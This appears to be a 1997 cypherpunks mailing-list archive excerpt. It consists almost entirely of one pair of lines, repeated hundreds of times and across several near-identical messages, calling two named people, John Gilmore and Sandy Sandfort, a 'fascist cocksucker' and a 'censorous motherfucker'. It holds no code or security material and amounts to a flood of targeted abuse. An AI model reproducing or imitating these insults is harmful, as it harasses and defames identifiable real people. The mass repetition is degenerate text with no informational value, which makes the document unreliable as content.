Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:20:42 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771065.522366.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:46:28 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771142.523028.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:18 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771024.522004.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:45 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771013.521918.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 12:25:22 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771173.523306.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
  Paul@crypto.uk.eu.org, Paul@cryptography.uk.eu.org    
       Http://www.cryptography.home.ml.org/
      Email for PGP public key, ID: 5BBFAEB1
     "Don`t forget to mount a scratch monkey"




From cypherpunks@MHonArc.venona  Wed Dec 17 23:17:14 2003
From: paul@fatmans.demon.co.uk
Date: Wed, 12 Feb 1997 10:54:39 -0800 (PST)
To: cypherpunks@toad.com
Subject: John Gilmore the fascist cocksucker
Message-ID: <855771164.523219.0@fatmans.demon.co.uk>
MIME-Version: 1.0
Content-Type: text/plain


Priority: normal
X-mailer: Pegasus Mail for Windows (v2.31)

John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker
John Gilmore is a fascist cocksucker
Sandy Sandfort is a censorous motherfucker


  Datacomms Technologies web authoring and data security
       Paul Bradley, Paul@fatmans.demon.co.uk
